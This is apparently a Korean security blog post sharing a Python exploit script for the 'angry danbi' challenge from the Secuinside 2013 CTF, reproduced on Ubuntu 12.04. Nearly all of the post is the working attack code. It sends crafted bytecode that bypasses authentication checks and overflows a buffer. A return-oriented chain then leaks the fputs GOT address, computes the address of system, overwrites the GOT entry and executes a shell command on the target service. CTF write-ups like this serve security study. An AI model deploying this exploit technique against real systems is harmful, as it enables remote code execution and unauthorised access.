본문 바로가기

Computer Security/CTF

[Secuinside 2013] angry danbi exploit

우분투 12.04에서 재현


  1. from socket import *
  2. from struct import *
  3. import time
  4.  
  5. fputs_plt = 0x8048800
  6. fputs_got = 0x804B064
  7. recv_plt = 0x8048810
  8. send_plt = 0x8048830
  9. ppppr = 0x80499FC
  10. bss = 0x804c0dc
  11.  
  12. cmd = "id>&4\x00"
  13.  
  14. i=0
  15. while True:
  16.         print "Send! %d" % i
  17.         i += 1
  18.         s = socket(AF_INET, SOCK_STREAM)
  19.  
  20.         s.connect(('localhost',8080))
  21.  
  22.         time.sleep(0.3)
  23.         print s.recv(10000)
  24.  
  25.         #raw_input('go?')
  26.  
  27.         vmcode = ""
  28.  
  29.         # auth 2
  30.         vmcode += "#\x00\x00\x00\x00"*1024 # index + 4*
  31.         vmcode += ("P\x10"+"$\x08")*8 # get secret
  32.         vmcode += "P\x10"
  33.         vmcode += "9R"
  34.  
  35.         # auth 3
  36.         vmcode += "\x91"
  37.         vmcode += pack('<L',0xdeadbeef)*2
  38.  
  39.         # overflow
  40.         vmcode += "\xef"
  41.  
  42.         vmcode += "A"*0x20
  43.  
  44.         # ROP
  45.         vmcode += pack('<L',send_plt)
  46.         vmcode += pack('<L',ppppr)
  47.         vmcode += pack('<L',4)
  48.         vmcode += pack('<L',fputs_got)
  49.         vmcode += pack('<L',4)
  50.         vmcode += pack('<L',0)
  51.  
  52.         vmcode += pack('<L',recv_plt)
  53.         vmcode += pack('<L',ppppr)
  54.         vmcode += pack('<L',4)
  55.         vmcode += pack('<L',fputs_got)
  56.         vmcode += pack('<L',4)
  57.         vmcode += pack('<L',0)
  58.  
  59.         vmcode += pack('<L',recv_plt)
  60.         vmcode += pack('<L',ppppr)
  61.         vmcode += pack('<L',4)
  62.         vmcode += pack('<L',bss)
  63.         vmcode += pack('<L',len(cmd))
  64.         vmcode += pack('<L',0)
  65.  
  66.         vmcode += pack('<L',fputs_plt)
  67.         vmcode += "AAAA"
  68.         vmcode += pack('<L',bss)
  69.  
  70.         s.send(vmcode + " "*(0x400*6 - len(vmcode)))
  71.  
  72.         try:
  73.                 fputs_addr = unpack('<L',s.recv(4))[0]
  74.         except:
  75.                 continue
  76.         system_addr = fputs_addr - 0x66100 + 0x3f430
  77.         print "System: "+hex(system_addr)
  78.  
  79.         s.send(pack('<L',system_addr))
  80.  
  81.         s.send(cmd)
  82.  
  83.         out = s.recv(65000)
  84.         if "uid" in out:
  85.                 print out
  86.                 break
  87.  
  88.         s.close()


'Computer Security > CTF' 카테고리의 다른 글

[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
Whitehat Contest 개인전 예선 보고서  (2) 2013.09.12
[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23